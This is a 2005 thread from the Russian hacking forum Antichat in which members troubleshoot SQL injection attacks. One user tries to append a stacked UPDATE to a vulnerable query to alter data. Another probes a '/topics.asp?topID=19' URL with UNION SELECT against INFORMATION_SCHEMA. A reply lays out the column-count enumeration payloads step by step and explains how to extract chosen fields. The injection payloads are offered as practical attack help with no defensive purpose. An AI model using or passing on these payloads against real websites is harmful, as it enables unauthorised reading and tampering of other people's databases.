ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Sql Injection
  #1  
Старый 04.05.2005, 22:29
Аватар для X-pl0id
X-pl0id
Новичок
Регистрация: 02.05.2005
Сообщений: 6
Провел на форуме:
779

Репутация: 0
Question Sql Injection

Я не владею языком SQL по этому прошу помощи:

[SQL-query] LIMIT 1, UNION UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/*

ругается на синтакс... Чё тут не так?
 
Ответить с цитированием

  #2  
Старый 05.05.2005, 11:47
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

А начало запроса какое ?
 
Ответить с цитированием

  #3  
Старый 05.05.2005, 14:05
Аватар для X-pl0id
X-pl0id
Новичок
Регистрация: 02.05.2005
Сообщений: 6
Провел на форуме:
779

Репутация: 0
По умолчанию

[I]SELECT m.[q], m.[w], m.[e], m.[r], m.[t], m.[y],m.[u], m., m.[a], m.[s], m.[d], me.[q],
me.[g], me.[f] FROM [db_name] m
LEFT JOIN [db_name2] me ON me.[z]=m.[z]
LEFT JOIN [db_name3] g ON m.[x]=g.[z] WHERE m.[z] > 0 AND m.[x]='1' AND g.[c] <> 1
ORDER BY m.[q] asc LIMIT 1,
UNION UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/*
 
Ответить с цитированием

  #4  
Старый 06.05.2005, 16:42
Аватар для X-pl0id
X-pl0id
Новичок
Регистрация: 02.05.2005
Сообщений: 6
Провел на форуме:
779

Репутация: 0
По умолчанию

Я тут покапался и разобрался что UNION мне совсем не нужен... такой запрос спокойно выполняется в phpMyAdmin: [I]SELECT m.[q], m.[w], m.[e], m.[r], m.[t], m.[y],m.[u], m., m.[a], m.[s], m.[d], me.[q],
me.[g], me.[f] FROM [db_name] m
LEFT JOIN [db_name2] me ON me.[z]=m.[z]
LEFT JOIN [db_name3] g ON m.[x]=g.[z] WHERE m.[z] > 0 AND m.[x]='1' AND g.[c] <> 1
ORDER BY m.[q] asc LIMIT 1,30
; UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/*

проблема в том что если этот запрос посылать через пхп, ну всмысле mysql_query("запрос") он все равно ругается на синтаксис в выделенном месте...

В чем там ошибка?
 
Ответить с цитированием

  #5  
Старый 06.05.2005, 21:08
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Подробно приведи текст ругательства
 
Ответить с цитированием

  #6  
Старый 07.05.2005, 09:18
Аватар для X-pl0id
X-pl0id
Новичок
Регистрация: 02.05.2005
Сообщений: 6
Провел на форуме:
779

Репутация: 0
По умолчанию

mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; UPDATE [db_name] SET [db_name] WHERE [z] = 0/*,30' at line 8
 
Ответить с цитированием

  #7  
Старый 07.05.2005, 14:03
Аватар для KEZ
KEZ
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию

Вообщето вместо [z], [x], и других выражений в кавычках нужно подставить реальные значения...
 
Ответить с цитированием

  #8  
Старый 07.05.2005, 15:40
Аватар для adler
adler
Новичок
Регистрация: 01.05.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

хм а у меня такая проблема:

/topics.asp?topID=19 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

вместо ошибки с названием первой таблицы возвращает:

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

Ктонибудь знает как с этим бороться?
 
Ответить с цитированием

  #9  
Старый 08.05.2005, 06:34
Аватар для Morph
Morph
Постоянный
Регистрация: 13.08.2004
Сообщений: 957
Провел на форуме:
1770063

Репутация: 429


По умолчанию

Товарищи это уже не по ФОрумам.
 
Ответить с цитированием

  #10  
Старый 08.05.2005, 15:06
Аватар для Trinux
Trinux
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме:
941818

Репутация: 569


По умолчанию

Цитата:
Сообщение от adler  
хм а у меня такая проблема:

/topics.asp?topID=19 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

вместо ошибки с названием первой таблицы возвращает:

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

Ктонибудь знает как с этим бороться?
SQL (в дамнном случае как я понял MS) говорит о том что в 2-х селектах между UNION разное количество полей достоваемых, а должно быть одинаковое. На число первых тыповлиять не можешь. а вот на число второго SELECT`а можешь. Делаешь:

/topics.asp?topID=19 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES--
потом
/topics.asp?topID=19 UNION SELECT 1,2 FROM INFORMATION_SCHEMA.TABLES--
потом
/topics.asp?topID=19 UNION SELECT 1,2,3 FROM INFORMATION_SCHEMA.TABLES--
потом
/topics.asp?topID=19 UNION SELECT 1,2,3,4 FROM INFORMATION_SCHEMA.TABLES--

и так далее, пока не получишь результата. Как увидешь цифарки на экране подставляй в запрос вместо них поля, которые хочешь видеть. И все.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ